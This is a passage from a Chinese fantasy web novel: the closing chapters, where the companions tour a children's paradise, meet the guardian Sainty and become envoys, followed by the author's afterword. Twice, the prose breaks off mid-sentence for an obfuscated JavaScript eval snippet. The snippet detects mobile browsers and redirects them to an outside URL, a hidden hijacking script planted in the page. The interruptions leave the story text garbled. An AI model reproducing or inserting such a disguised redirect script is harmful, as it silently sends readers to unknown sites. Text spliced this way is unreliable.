“可以进了。”柯里丝牵起伊甸,“走吧。” 伊甸望着悬停在上空目送她们的星星,表情有些疑惑,“星星呢?” “为了保持星星的纯粹性,”柯里丝说,“还未去过人间的星星们都是外部的守护者,无法进入里面的世界哦。” “好吧。” 一行人相继踏入青翠幽深的拱门,闻到一阵清新的味道,朝里走去。隐形帷幕在身后合上,来时的光亮不再。但好在里面是一条由萤火虫照亮的碎石小径,不至于看不清。 不仅如此,在通道两侧,脚边等高的位置,还有会发出夜光的四叶草相继亮起,像一排小小的点灯人。 通道尽头是一个极亮的光点。不知是路长,还是他们走得慢,洛祈感觉似乎走了许久,才见那光点变得大了一些。 走得近了,忽然听见,有小孩子嬉笑的声音。 洛祈不自觉地屏息,小心翼翼地向前,终于到了这一刻,他却说不清自己现在是什么心情。 然而下一秒,大片光亮便迎头洒下,他倏忽步出了隧道。 由暗转亮,洛祈下意识闭眼,缓了两秒,再睁眼,却整个人如临桃源,定住了。 一时不知道该看哪里。 天空的底色介于橘色与黄色之间,蒙上一层浅白的霭,融在一处,有种圣洁而柔和的暖意。玫瑰色云团点缀其中,艳阳穿过,金边勾勒,像晕淡在半空的泉眼。 于是清澈的泉涧顺势垂悬流淌,如迢迢水瀑自半空跌落人间,在谷底汇聚成与天同色的湖。 洛祈仿佛忘记了时间,忘记了四季,分不清是朝霞或晚霞。他不自觉向前走去,忽而又被拉住胳膊,一转头,是许梦扬示意他小心脚下。 再一低头,洛祈才蓦地发现,自己差点一脚踏进湖里!原来他们离得湖畔极近,而湖畔的另一头,便是孩子们嬉笑声的来源。 但这也着实不能怪他。放眼眺去,这巨大湖面乍看之下,宛如翻版的天空,无波无澜,丝毫不像水面。倒像……是一面镜子。 “穿过镜面湖畔,”这时,柯里丝开口,“就是孩子们的乐园了。” 可众人四下望了望,却连一条小船都没见到。 “那我们,要怎么过去呢?” 洛祈疑惑道。 难道这湖面也和之前的海面一样是可以踩住的? 柯里丝笑笑没说话,只是向前,蹲下身,将手没入湖面大约两三寸。 顿时,水面咕嘟咕嘟冒出泡泡。随即,一颗一颗小水滴升起,凝聚,在她面前的湖面上,汇成一条透明的小金鱼。 接着,柯里丝用手触碰那条小鱼,只一瞬,两只透明的翅膀便从旁弹出、展开,宽大柔韧,扑腾着向上盘旋一圈。像是来接他们的仪式。 “小鱼!”伊甸新奇又开心:“会飞的鱼!”她将小手也没入水里,看着水滴升起,汇聚,如出一辙——她也获得了一只带有宽大翅翼的透明飞鱼。 柯里丝扶着伊甸坐上飞鱼,待所有人都完成并坐好之后,发出指令,“走吧!” 一排透明飞鱼高低错落,展展翅膀即刻起飞。 比想象中要稳得多,洛祈暗叹。 飞鱼稳稳低悬在镜面湖畔上,不偏不倚,不摇不晃。洛祈低下头,这才发现是一片浅水湖泊,湖底铺满了彩色鹅卵石,似在与天空遥相辉映。 伊甸伏在飞鱼上,双手向下,未及水面,立刻有一串浪花绕上指尖和手腕,随着她的飞行节奏轻柔跃动。 镜面湖畔很大,快要行至中央时,塞勒忽然挺直了背,有点惊奇道:“那是?” 几人看向前方,只见一朵重瓣的、晶莹剔透的粉紫色莲花漂了过来。后头,又有两三朵,相继出现在视线中,漂浮在湖面上。 “临在睡莲。”柯里丝微微一笑,“注意哦,上面或许有你们失落的东西呢。” 刚说完,塞勒的飞鱼正巧接近了朝她漂来的那朵睡莲。她朝里一看,惊讶地发现那里面……正是自己遗失在潜镜丘的背包! 飞鱼暂作停留,塞勒满怀震惊地将自己的背包重新取出,背在身上。对发生的一切感到奇妙而又敬畏。 一朵小小的睡莲打着旋儿漂到伊甸身边,伊甸抬头,看见一只甚三红色小头盔。她眼前一亮取了出来。 睡莲又打着旋儿漂走了。 洛祈则看见了未曾想到的一幕—— 远远的,出现更多睡莲,坐着好些孩子。 其中一朵上面坐着一个女孩,面前是一个固定好的画架,她坐在那里,一只手上拿着画笔,似乎正在思索。 然而洛祈注意到,她画架上放置的画板——正是在岛屿重新嵌合前,他在哼鸣声后、看见表面形成了一层透明外壳的——双层白色画板。不会有错! 洛祈惊讶地望向她,飞鱼心有灵犀放慢了飞行节奏,像是为了让他看得更清楚。 画板上五彩斑斓,女孩的画笔灵巧翻飞,看起来很愉悦,洛祈刚靠近,便看她完成自己的画作,举了起来。平心而论,那画的线条纷乱繁复,用色奇异,实在抽象,洛祈有些看不懂。可是对那副“别人看不懂”的画,其他孩子们却给出了由衷的赞美。 飞鱼缓缓而过,洛祈一时有些怔愣,倏忽便想起柯里丝说的那句“好好长大”。顿时福至心灵,他坐直身体,“1、2、3……”一个一个数起来,数到最后,正好发现坐着孩子的睡莲有26朵。 “没错了……”洛祈认得那些熟悉的物件,无比确定,这就是最后一批物灵配对的孩子们!这里才是真正的他们。 “临在睡莲上的孩子们,”柯里丝的声音从前头传来,“会专注完成自己最想要做的事。没有他者,不加评判,也没有束缚,把自己交给过程直到真正完成。” 越过睡莲后就将靠岸,湖畔那头正有孩子们在涉水嬉戏。 九个人停在湖畔边缘,踏上绿岸。身后的飞鱼扑扇着收起宽大翅膀,又变回一只只透明的小金鱼,摆摆尾巴,轻巧地落入水中,不见了。 伊甸还举着小手跟水里做“拜拜”。 洛祈回身,眺望四周,恍然发觉这真是一片世外桃源般的乐园……超出自己的所有预料。 “这边。”柯里丝带路,洛祈跟在后面,目光却被远处一个上半截隐没在云层中的巨大摩天轮吸引了。那不是一般的摩天轮,看起来,像是由许多巨大的棒棒糖斜插而成。正在有序地缓缓转动。 也许是从小缺失什么,长大就会格外在意什么。洛祈小时候没怎么去过游乐园,此时也难免意往神驰。 “想去玩?”许梦扬在旁小声问。 洛祈感到有点赧然,“没有……” “这有什么不好意思的。”许梦扬笑了一下,“等下肯定有机会。” 沿着草甸上碎石铺就的小径,他们一路向前,四处都是三三两两、大小不一的孩子们。都身着各式各样的木偶服,似乎是在做什么排练。 继续走了没多久,便来到一面特殊的墙之前。洛祈简直数不清,这堵“墙”是由多少株含羞草组成的。叶片枝丛大而繁密,似两道大门。 “诶?这是……”阮廷榭忽然踩到了什么东西,拿起来一看,是个厚本。他跟索尔一起翻看片刻,索尔忽然说,“好像是一本习题册?” “什么?”一个物件影子滑过脑海,洛祈连忙走上前,“我看看。” 接过来看,果然是那本外壳边缘早被擦出毛边的硬壳笔记本。 右下角有一个【8】,内页纸张有些泛黄,写满密密麻麻的笔记。最重要的是,在封底上,有一个隐隐的、绿色的中空五边形图案。 他们互相对视一眼……有了猜测。 阮廷榭跟着柯里丝伸出手,触向那堵“含羞草墙”,轻轻一碰,所有青绿叶片便逐个卷收,活像从中折向两边的多米诺骨牌。 一阵松木与泥土气息,走进去,仿佛踏入一个天然氧吧。 “……欢迎来到呼吸森林。”有声音从右上方传来,但却不是对着他们,“树冠剧场今天将上演木偶戏《种子的旅程》,敬请期待……” 洛祈抬起头,首先映入眼帘的,是一棵机械与植物结合的巨大古树。而以这个参天古树为骨架,旁边便是一个一个,不知如何搭建在半空的小树屋。树屋之间,交错嵌连着藤蔓编织的空中索桥,那出木偶戏真正的观众们,此时便零散地坐在桥上。稚嫩脸庞显出期待的神色。 “哇,好多小孩子。”伊甸惊叹。 “是啊,”柯里丝笑,“剧场每天都会上演木偶戏呢。很多小孩子都会来看。” 啪。 一个明亮的小东西掉在了阮廷榭的面前。他停住脚步,捡起来,观察,“是一颗会发光的果实!” 索尔也停步抬头望去,才发现树冠间都悬挂着发光果实作为照明,怪不得明明是森林,却明暗交接相得益彰,感觉如梦似幻。 “古树后头……”埃文说,“好像也有人。” 他们走过浑厚的树干,瞧见一些孩子正在排队。转过头,洛祈发现树干上竟然内嵌着许多块互动屏幕。 一个孩子上前在屏幕旁按下手掌,屏幕便亮了起来。 好像……是什么解谜游戏? 洛祈没看太清,但好一会儿,他听到了那个孩子小小的惊呼。 接着,地面微微颤动,无数藤条和一座小树屋便拔地而起。空中索桥随即嵌连,一盏照明果实悄然悬挂树冠。小孩欣喜地跑了上去。 “这是……”阮廷榭疑惑,“在做什么呢?” “生灵之树,在帮他们找到,”柯里丝说,“能点亮生命的东西。” 正当此时,一个男孩从临近的攀爬藤网上翻身跳跃下来,看见洛祈时愣了一下,目光停驻在他手上那本硬壳笔记。 “这个本子是,”洛祈心领神会,作势要还,“你的?” “啊,”男孩挠挠头,没接,但笑了,“是,不过现在不需要了。我找到了我真正在乎的东西。” 他嘿嘿一笑,露出一口白牙,看上去是从未有过的轻松笃定。“拜拜!”他跑向不远处,一座很新的树屋。 “当孩子们找到自己真正的主体……”柯里丝目送他的身影,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166991|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会有一座专属的树屋,为其升起。” 洛祈闻言上前,果真数到了12座新绿的树屋。他把那本笔记本留在了那里,为所有找到主体的孩子们,感到庆幸。 “快来!”伊甸喊道。 她已经跑得很远了…… 埃文急忙去追妹妹,踏出森林,却不见踪影。视野中目之所及,变成了许多鬼斧神工一般的天然岩壁。 “伊甸!”埃文喊道。 立刻,有无数道“伊甸”的回响,传了回来。 “这里是回声山谷。”柯里丝拍拍埃文,“要找人可不能在外面哦,要去回声洞穴里面。” “啊,好。”埃文答应着,走到最近的一个洞穴当中,再次喊了一声“伊甸”。 顿时,整个回声山谷中所有的岩穴都响起来,岩壁上的晶石闪烁形成声光交响,一传十十传百,不消片刻,便有几个孩子牵着伊甸,出现在视野中,走了过来。 “你到哪里去了?”埃文焦急,又有点无奈,“不要跑丢了,哥哥会担心的。” 伊甸吐吐舌头,点头。 洛祈本来站在后面,此刻却微微一愣,快速走上前去,“你是……”站在最前面的,赫然是之前那个,戴着黄色发卡的女孩。 女孩对他弯弯眼睛,又看向身后。洛祈一个个看过去,那些面孔他都还记得,14个孩子,都是他刚上岛时见过的! “谢谢你们送伊甸回来。”洛祈感慨,“原来你们都在这里啊……” “有些孩子喜欢待在回声山谷。”柯里丝说,“因为在这里……每一声呼喊,都有回应。” “原来是这样。”洛祈不禁出神,如果自己在这座岛屿,或许也会喜欢这里吧。 许梦扬察觉到洛祈情绪微妙的变化,轻咳一声,“对了,”他问柯里丝,“我们之前上岸时看到一座很大的摩天轮,如果可以的话,能去坐坐吗?” “当然。”柯里丝笑笑,转过头,面向孩子们,“一起去坐摩天轮好不好呀?” “好!”黄色发卡女孩和好朋友们纷纷点头,欢呼起来。她们手拉手排成一列,转身带路,“在彩虹滑道那边!” 穿过层峦叠嶂的岩穴。 大家一起向岩壁中心走去。 在那里,正有一条光谱滑道,犹如一道“彩虹”竖贯而下,每天负责运送许多的孩子上下。 洛祈看着一边被传送上去,一边被运送下来的孩子们,心情变得轻松了些,“看起来好像升降电梯哦。” “是啊,”许梦扬道,“不过,这可能是世界上,最特殊的一个升降电梯了。”他揽过洛祈,“走!” 一行人进入彩虹滑道当中,七色光谱在眼前绽放,风铃声响起,才发现是风在将他们带向高空。送上白色的卷云之顶。 空气霎时变得沁凉湿润。 这是一片他们从未感受过的、超脱的空间。 众人在云端站定,身旁,是绵绵延延的雾霭。 “好像在做梦啊……”塞勒喃喃。 “云隐之地。”柯里丝说,“由自然的万物灵所掌管。” 不远处,是一座云筑的高大城堡。孩子们放开了手,踩在柔韧的云端,向城堡大门跑过去。 洛祈和大家跟在后面,风掠过脸颊,每一步,都响起清脆的风铃声。忽而衣领被翻起,发丝被扬飞,洛祈有种熟悉的感觉,“是你呀?” 风的物灵盘旋向后,一股和缓的推背力让所有人不自觉加快了步伐。 穿过云筑的城堡大门,后面是一整片游乐园。洛祈从未见过这样大的游乐园,他漫步在云海之中,看着空中飘荡的各种精致纸鸢,其他孩子们的笑声环绕在他周围……像圆了一场好久以前的梦。 他们径直走向摩天轮,糖果色轮盘将云层映成远近不同的缤纷色彩。正有人在将孩子们一个一个安全地送进座舱。 走近了,洛祈步伐稍顿,看着眼前熟悉的身影,“……你不是那个?” 洛祈看向萨满少女,少女点头,不会有错,眼前这个少年俨然是当时那只小型风筝人“网瘾少年”。 “原来你在这里啊?”萨满少女问。 “是啊。”少年对他们笑了下,“我喜欢这里,每次送孩子们坐上摩天轮,听见笑声,我感觉自己特别满足。” 少年打开一个圆圆的糖果座舱,“你们也要来玩儿吗?” “好啊。”许梦扬拍了拍少年的肩膀,“自己满意,就是最好的。” 他们两三人一组,坐进四个不同色彩的座舱,摩天轮缓缓转动起来,带他们坐看云卷云舒。 伊甸趴在透明的淡黄色玻璃舷窗上,两只小手扣成一个望远镜姿势,新奇地瞧着窗外,“那是什么?” 埃文看出去,半空中正有一些东西在飞,但不是纸鸢,似乎是人坐在什么上面。 “那是‘风之翼’。”柯里丝柔和地看向窗外,“是专门给残障孩子们坐的悬浮座椅哦。” “哇……”伊甸说,“好神奇。” 那些孩子们纯真的笑声回荡在云霭之间,像被插上了一双真正的翅膀。在这一刻,获得了从前想都不敢想的自由。 62.守护契约·全文完 摩天轮将他们带向另一边,重新落回陆地上,是一片未见过的草坪。溪涧潺潺,正有只独角兽安静地在溪边啜饮。 众人陆续抵达地面,独角兽耳朵动了动,向这边看过来。一声啼鸣。于是,它身后的草坪有了些动静。 因此萨满少女一落地,打开舱门,忽然就有两只小家伙,扑了上来。 少女一惊,蹲下,那两只曾在荆棘地见过的受伤的小猫小狗,热情地扒着她的手,亲昵地舔她。少女将它们揽在怀里,抬起头,惊讶地看见不远处接连跑来熟悉的动物幼崽们,再次将她和梅花鹿团团围住。 或许是喜极而泣吧,萨满少女有些哽咽,“……再次见到你们,我好开心哦!” 埃文也惊讶极了,“这里是……” “时光工坊。” 这问题被两个声音先后解答。 其中一道先于柯里丝的声音,轻轻传了过来。埃文一愣,猛地转向声源之处。 看见了一个久违的、却好像才刚刚见过的身影——那是十二岁的莉安。 “原来你说的……”埃文不自觉向前走去,有点语无伦次,“原来你在这里。” 她看起来真的很好,脸上带笑,不再忧愁。埃文的担心也终于放下。 莉安带着埃文和众人,与那些动物幼崽们一起,去到了时光工坊内部的玻璃花房。 一走进去,埃文就注意到这里所有设施均采用了圆角设计,地面铺设松针与树皮混合的缓冲层,应该是为了保护孩子和小动物们在这里,不会受伤。 “这里生长着会变色的 ‘天气兰’,”莉安告诉他,“花瓣会随着天气变化,呈现出不同颜色呢。” 梅花鹿在兰花丛边嗅了嗅,耳朵向后,舒服地卧了下去。动物幼崽们围在身边,也一只只卧倒、歇息,闭上眼睛,惬意地享受花香沐浴。 玻璃花房的两侧内壁旁,培植着一些跟人差不多高的树。虽然有高有低,看着也很普通,但埃文总感觉有些奇怪。尤其是花房内还另有些孩子,此刻都很专注而安静地站在一些树的面前,好像在说悄悄话。 “他们在干什么?”埃文疑惑,“那些树是什么?” “那是会说话的树洞。”莉安说。 “树洞?” “在时光工坊里,”柯里丝接着说,“孩子们可以通过与树洞的交流和倾听,留下自己最想留存住的时光片段。” 埃文闻所未闻,有些惊奇,“留在哪里呢?” “那些片段会变成一颗颗种子胶囊,悬于枝头。”柯里丝说,“放在特定的土壤里种植后,就会生长出能看见那段时光的花蕾。” 莉安没再说话了。悄然走向一棵与她等高的树,一伸手,摘下好几只种子胶囊。再回来时,她有些踟蹰,但最终,还是把那只握着种子的手伸向了埃文。 “这是……”埃文很快会意,“给我的?” 莉安点了点头,又转身从花架下,拿出了一个小花盆递过来,那是一盒封存好的特殊土壤。 埃文郑重地收下,虽然有点不知该怎么反应,但还是说,“我会好好把它们种出来的。” “好。”莉安看起来很满足,像是夙愿达成,跟埃文一同相视而笑。 “你们看,”这时,洛祈注意到,“那些天气兰好像开始变色了?” “是哦,”许梦扬俯身观察,“开始慢慢由红色……变成紫色了。” “看来,要下雨了。”莉安了然道,“当所有花朵都变成深紫色,预示着落雨即将来临。” “下雨了?”孩子们陆续跑到玻璃墙壁前确认。洛祈听见他们窃窃私语,小声确认着,“要下雨了?”还以为他们是不想下雨。 可出乎意料的,孩子们马上就显得颇为高兴,接二连三笑起来,“下雨咯!哈哈哈哈!”“今天有故事听咯!” 似乎有种特别的兴奋。 洛祈不解,正想问,就听柯里丝说,“下雨天,是听故事的日子。” “听故事?”伊甸忽然欣喜,“我也想听!” “好啊。”柯里丝牵起伊甸,“那就去吧。” 孩子们已经成群结队跑向前方,与玻璃花房嵌连的露台上,抬头仰望,有一面巨大的时钟。 几个人走到孩子们跟前,阮廷榭和索尔仰头看了看,都不约而同想起了曾见过的天幕时钟。但很明显,这个时钟看起来比那个更有生机。 “前面没有路了,”塞勒环顾四周,“要怎么过去呢?” 前方只有一面封堵住的墙,装置着巨大的机械齿轮组件。 “不急。”柯里丝说着话,孩子们就已经分工完毕,熟练地左右站好,合力抓住机械臂,“只要孩子们协力合作,转动齿轮,就能启动四季时钟。” 哐嘡哐嘡,哐嘡哐嘡。 大小齿轮在孩子们轮番的使劲中,嵌合转动起来。 机械臂嘎吱作响。 上方一道绿光闪过,嘀嗒嘀嗒,时钟走针的声音出现了。 大家一齐看向头顶,整个钟面上泛起春意盎然的浅绿光芒,接着,又有链条从上垂下来。只不过,这次不是黑色链条,也不止十三根,而是现场有多少人,就垂下多少条。 链条如柳枝一般,悬着大大小小的沙漏,来到众人面前。 每个人面前的沙漏,很神奇的,都刻着他们自己的名字。 “这是?”洛祈解下自己的那只。 “时光沙漏,拿着就好。”柯里丝笑道,“等下,当我们穿过记忆回廊,你们就会知道它的用处了。” “记忆回廊?”许梦扬也取下自己的那只,看见里面还没有开始漏沙,“是什么地方啊?” “——是这座乐园的隐藏区域哦。”莉安说。 话音落下,一分钟整。待现场所有人都取下时光沙漏——面前封锁着的墙壁上,整个机械齿轮便开始自行转动起来,越转越快,齿轮缝隙中一道一道斑斓光线透出,随即,整堵墙似双开门一般,向前推去。 所有伙伴惊讶地看向前方。 一条亦真亦假、亦虚亦实、恍如梦寐的斑斓回廊,出现在眼前。 孩子们高举着时光沙漏,踏进回廊,向前跑去。两侧廊壁上顿时交迭闪烁,现出了所有人的时光剪影。 洛祈和伙伴彼此对视,也踏入回廊。 踏进去的第一步,手中的沙漏便开始运作。细沙落下,墙壁上出现了九个人的时光剪影……从大到小,从现在到过去,如同光影倒放。 然后,一件匪夷所思的事发生了。 他们所有人的身形都开始变窄、个头开始缩小,从现在的样貌,开始一点一点变成十几岁的样貌,接着是十岁的……九岁的……八岁的样貌……仿佛时光倒流,他们全都变回小孩了! “等一下如果你们想恢复大人的身形样貌,”柯里丝稚嫩的声音传来,“只需要将时光沙漏翻转过来,就可以。” “好。”洛祈倍感奇妙,他已经很久没感受过自己的孩童时光,反而有些珍惜。 九个小孩子加入了孩子们的阵容。 听见孩子们依旧兴奋,雀跃着…… “嘿嘿,听故事去喽!” “今天会讲什么呢?” 两个小男孩揽着肩笑。 “Sainty!Sainty!” 一个蓝眼睛小女孩蹦蹦跳跳。 “Sainty……是谁呀?”小洛祈好奇道。 “Sainty就是给我们讲故事的人呀,”一个黑头发的小女孩在他身边,“圣希姐姐讲的故事可好听了!” “我要坐在Sainty旁边!” “我也要!” 另外两个小女孩加快步伐,从他身旁越过。 小洛祈搞不清楚状况,有点懵,但不知怎的,也开始变得有些期待。 长长的记忆回廊尽头,停在了所有小孩子五岁的那一刻。踏出回廊时,暮色四合,月亮已经悄然升起。 眼前是一片清幽竹林,可是很亮,因为地上有大大小小会发光的蘑菇。微风簌簌从林中拂过,蘑菇们摇曳摆动,像土壤里种出来的星星。 “快看!故事屋已经升起来啦!” 远远的,半空中,月光下。 洛祈真的看见有一座巨大的蘑菇形屋子。弦月在后,红色屋顶覆上一层银白,大门敞开,透着亮,好似迎接。 接着,从故事屋门前,无中生有,延展出一条蜿蜒曲折的螺旋台阶。一直延伸到地面,孩子们的跟前。 孩子们穿行竹林,纷纷踏上状似梯田的台阶。台阶边缘的围栏仿佛一支支竖插的圣十字,每一支顶端,都有只白色的竹蜻蜓。 洛祈看见柯里丝摘下一只竹蜻蜓,递了过来,笑着问他,“有没有想许的愿?” “许愿?” 洛祈恍惚,还没弄清,就听见旁边一个小孩将摘下的竹蜻蜓握在手中、轻声念了一句,“希望天天都有故事听!” 然后她双手一搓,将竹蜻蜓抛向空中。竹蜻蜓遇风长大,双叶翅翼旋转起来,驱动轴的尾端,随即便生出一条闪闪发光的纸笺…… 正是她的愿望: 「希望天天都有故事听」 于是洛祈也闭上眼睛,默念了一个愿望,抬手,放飞了那只竹蜻蜓。 一支支竹蜻蜓相继飞上了天,载着孩子们各种各样的心愿,在夜空中灿若繁星。 「希望森林永远翠绿」 「想和小动物做朋友」 「妈妈不要总加班」 …… 伊甸也许了一个愿: 「希望能和爸爸妈妈,还有哥哥永远在一起」 埃文跟她一起放飞了那只竹蜻蜓。 就这样,孩子们一路许着愿,像走盘山公路一样,一阶阶向上走去。 走着走着,洛祈忽然发现每级台阶上都种着不同香味的植物,迷迭香、薄荷、薰衣草……让人不自觉就放松下来。 行至最后一级台阶,孩子们早就按捺不住加快步伐。有几个小孩更是三步并作两步,率先冲进故事屋,“Sainty姐姐我们来啦!” 笑声从屋内传了出来,带着暖意。 然后,便是一个女声—— “今天……想听什么故事呀?” 未见其人,先闻其声。 洛祈在门外忽而一愣,蓦地顿足。 那声音很柔和,有些熟悉,又有些陌生,像尘封在心底,遥远的一个残梦。 让他一瞬间竟有点不敢靠近。 “怎么了?”小许梦扬在他身边站住,疑惑,“眼睛怎么红了?” “没……”洛祈不知该说什么,甚至不知道,该不该进。未曾料想原来真到这个时候,他会变得怯懦。 他犹豫着,迟疑着,像近乡情怯,难以迈步。却最终被许梦扬揽着肩膀,一步一顿踏进那一方暖光中。 小洛祈抬起头,怔忪。 那人依旧如初见一般,逆光而立。 看不清面容,只能看到周身光晕,和她身上穿的白裙子。 而他也如初见一般,只是一个五岁的小孩子。 那就是……Sainty姐姐么? 在过去,在梦中,他幻想过无数回,可没有一次,会是像这样难以置信的再会。 双手比大脑更早行动,洛祈不自觉地翻转了时光沙漏。细沙回落,他逐渐升高,开始从小孩身形,变成一个成年人的模样。 然后,洛祈望见那个姐姐也看向他,缓缓地,朝他走过来,直到他完全看清楚她的面容,听见她柔和的声音,对他笑着说—— “洛祈,你长大了。” “我……”视线忽然变得模糊,眼泪仿佛有自己的意识,洛祈大脑一片空白,好半天,才能说出口,“我一直都有好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177081|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好听话。” “嗯。”Sainty姐姐摸摸他的头发,“我知道。” 场面很温馨,但一旁许梦扬的好奇心,已经快要爆炸了。终于他也翻转沙漏,变回了成人。 “……冒昧地,问一下,”许梦扬当然看得出,这位姐姐应当是个举足轻重的人,但还是想知道,“您是?” 他不太敢妄言,等待答案。 然而未及她开口,旁边就有孩子做出了解答:“Sainty姐姐可是我们的守护神哦!” “守……”许梦扬不是没有想过类似的可能,但依旧震惊,“什么的守护神?” 孩子们张开手臂,像画出两个半圆,撑到最大,“是所~有孩子们的守护神!” “不仅如此。”柯里丝也翻转沙漏,变回原样,补充道,“除了所有孩子们,还有小动物们。或者直接说,这位就是世界上,所有幼崽的守护神。” “啊……”许梦扬瞠目结舌地消化了好一会儿,却又觉得一切如斯合理。有神使选拔,自然就有神,否则神使受谁驱使、承谁意志呢? 思来想去,他问出最后一个问题:“这么说,我们会来这里,通过选拔,也是您料到的吗?” “当然。” “为什么呢?”许梦扬追问。 “因为,”圣希的目光从九个人身上扫过,像在透过他们,看向很久很久以前。少顷,她温柔地笑起来,“你们曾经,都是从这岛屿上转生的星星啊。” 这下,所有伙伴们都翻转沙漏,变回了原貌。 “所以……”洛祈喃喃,“我会成为物灵师,感应到物灵,也是这个原因吗?” 他想起来了,似乎就是在遇见这个白衣姐姐后,他才开始能感知到一些特殊的东西。而当时福利院的院长夫妇却毫不奇怪,反而在知道以后,送了他那本刻了字的笔记本。 “万物有灵。”圣希说出他所想,“你自己就是罗盘。” 因为他曾经就是星星。也因为他被她关照过。 “每一个星星转生的孩子,”圣希眼底蕴含着笑意,“我都是可以感应到的。所以当时,我才会出现在你身边啊。” 出现在那个孤立无援、举目无亲的孩子身边。带他找到一个归宿。 “我……”洛祈的感激无以言表,甚至,有些慌乱,“希望我没有让你失望。” “不,”圣希柔声道,“洛祈,你做得很好。我希望你做到的,你都做到了。” 洛祈顿时心念电闪,“……是哪些哼鸣声吗?是你在指引我对吗?” “是。”圣希说,“一直以来,我都会发出一些信号,尝试召唤一些特殊的孩子。来作为我的使者,承担使命,去帮助更多陷在成长困境中的孩子们。”她顿了顿,“而最终能否来到我身边,就看缘分了。” “什么样的特殊孩子呢?”萨满少女问。 “一些……”圣希眸中微光闪动,“有灵气的孩子吧。” “灵气?” “没错。人在幼年时是最有灵性的,通常来讲,越长大,灵性就越消散。所以,最终能来到我身边的,都是灵气未泯的孩子。” 怪不得,萨满少女想,怪不得自己也听见过,神的召唤。原来那不是她的错觉。 “其实,你们一路试炼的表现我都知道,”圣希接着说,“都是很好的神使种子。当然,如果不想做神使呢,我也不会勉强,为了嘉奖各位的勇敢,星星还是会陪伴你们回到人间。” “我想!”洛祈觉得自己作为曾经的受益者,理应作出回报,“我想做神使。” 其他几人彼此看了看,谁都没有说话,却好像在无形中达成了一致。原来有些使命,是冥冥之中,刻在基因里的。既然如此,又何妨接下这份沉甸甸又意义非凡的委托呢? 于是在这一刻。 在所有心灵转到同一频率时。 神使契约,正式建立。 自然而然又顺理成章。 “好了,来吧孩子们。”圣希语气含笑,揽过诸位准神使们,“现在,一起来听故事吧!” 洛祈和伙伴们再次翻转时光沙漏,又变回那个爱听故事的童稚时刻。 “很久、很久以前……” 柔和的声音回荡耳畔,洛祈弥补了旧日遗憾,在这个静谧的夜晚,他和孩子们安坐在白衣姐姐身旁,听了好久的故事。 不知是何时睡着的,总之,好像做了一夜的美梦。梦里的他有好多好多的伙伴,和爱他的亲人。 再醒来时,洛祈知道,他们就将踏上新征程。 长夜将尽,朝阳初升。 离岛之前的天空干净澄明。 圣希送神使们离开乐园,准备重回对岸。 返回的陆块已在等候。 身旁站着小小的伊甸。 圣希抚了抚伊甸的头,问她,“星星是可以待在岛上的,伊甸想待在这里吗?” 伊甸想了想,看着埃文,最终摇摇头,郑重地说,“我想跟哥哥,一起回去。” “好。” 看着那个小小的身影,走向前方。 走向来时的方向。 圣希有些欣慰。 洛祈站在中央,面向大海,身边是来时的伙伴。他们来时忧虑重重,历经险阻,走时带回一颗笃定的心。 八个人迎着朝阳,身披流金,影子朝向身后。 现在,即将再度启程,回到另一边,那个喧嚣鼎沸的人间。 前路漫漫未可知。 但他们已然明白,自己要做什么—— 因为在这个世界上,还有很多孩子需要他们,需要被隐秘地“看见”。 趁星星们还没有完全熄灭, 趁暴风雨还没降临, 趁一切还来得及。 让那些被疏漏的灵魂, 好好长大。 【全文完】 63.完结后记[番外] 终…于…完…结…了。 再次感谢所有看过文的大家。 说实话,这篇文的连载时间,实在远远超出我的预估(扶额苦笑 如果有小伙伴从头到尾一次读完,会发现其实体量不大,故事也不复杂。 但我实打实感觉,好像写了很久………从冬天,到春天。 从来没有写过这么久的经验。 原本我真的以为很快就能写完。 是的,这是我第一次正经的,写一个完整的故事。能把它完成,对我来说,直到现在都感觉是一件神奇的事。还是要感谢包容我的大家(虽然不知道大家都是谁^^ 所以现在来简单回顾一下吧。 《星骸岛》这篇小说,从各方面来说,都像是掉落在我人生中的一颗星星。它给我带来了非常非常多,不可思议的东西。甚至从某种意义上,改变了我看待很多事物的态度。 “为什么要写一个这样的故事?” 我想也许有人会问。 好吧,不如说是我在写的过程中,也经常在问自己这个问题。 我能想到的,这个故事最初的某一个源头,似乎是我有一次跟家里人去一个小姨家里,那个家里有两个小孩。那天下午,大人们去干什么了我早已不太记得了,唯一记得的,是我“被迫”待在那里,然后陪着他和她看了一下午的动画片。 是的,我说“被迫”是因为我当时并不想看——作为一个已经有点长大的人,第一反应是“啊,有点无聊”——但又因为我得待在那,而两个小朋友希望我陪他们“玩儿”。所以最终还是同意了。 可是,在那个下午,出乎意料地,我度过了一段非常久违的纯粹时光。 整个下午,从《宝可梦》看到迪士尼,从宫崎骏看到《小王子》……我从一开始的略显无聊,到慢慢沉浸其中,想到我很小的时候,为了看一集动画片,定时定点蹲在电视机旁的瞬间。最后,与其说是我陪着他们,不如说是他们陪我想起了“童年时光”。 然后在某一刻,我忽然惊觉,原来我也有“童心”啊,但什么时候,有点忘记了呢。 不过这倒没有引起我多少的伤感。 只是让当时的我忽然想写一个故事,大概是关于小孩、关于大人、关于成长的故事。 但坦白说,我当时完全不清楚我想写什么。 因为在我看来,把【小孩→成长→大人】这个命题完成得超级棒的作品,非2015电影版《小王子》莫属了。在这里赞美法国导演马克奥斯本及原作者,起码在童话向,关于“长大”这个单命题,目前来讲是无出其右的作品。 